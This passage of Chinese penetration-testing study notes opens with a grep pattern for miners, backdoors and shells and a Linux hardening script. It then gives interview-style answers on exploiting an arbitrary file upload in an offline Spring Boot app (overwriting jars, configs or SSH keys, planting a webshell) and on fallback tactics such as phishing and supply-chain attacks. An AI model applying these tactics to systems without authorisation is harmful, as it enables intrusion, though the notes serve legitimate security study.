-E '(miner|backdoor|shell)' # 检查网络连接 sudo netstat -anp | grep ESTABLISHED # 7. 安全加固脚本示例 #!/bin/bash # 自动安全加固脚本 # 更新系统 apt update && apt upgrade -y # 配置防火墙 ufw enable ufw default deny incoming ufw allow ssh # 禁用root SSH登录 sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config # 设置密码策略 echo "password requisite pam_cracklib.so retry=3 minlen=8" >> /etc/pam.d/common-password # 启用fail2ban apt install fail2ban -y systemctl enable fail2ban
泛联新安 不出网的springboot有一个任意文件上传该如何深入利用 确定上传位置和权限,
看是否可以覆盖原有文件,替换jar包,或者class文件,配置文件等,或者系统的ssh私钥
看是否可以上传并解析为webshell,
如果在渗透过程中没有办法发现漏洞,该怎么办
重新审视整个过程,确认是否都测试到位,信息搜集到位,更换工具,检查paylaod是否正确。
在合理的范围内,看是否可以从其他角度攻击,比如钓鱼,近源,供应链
摇人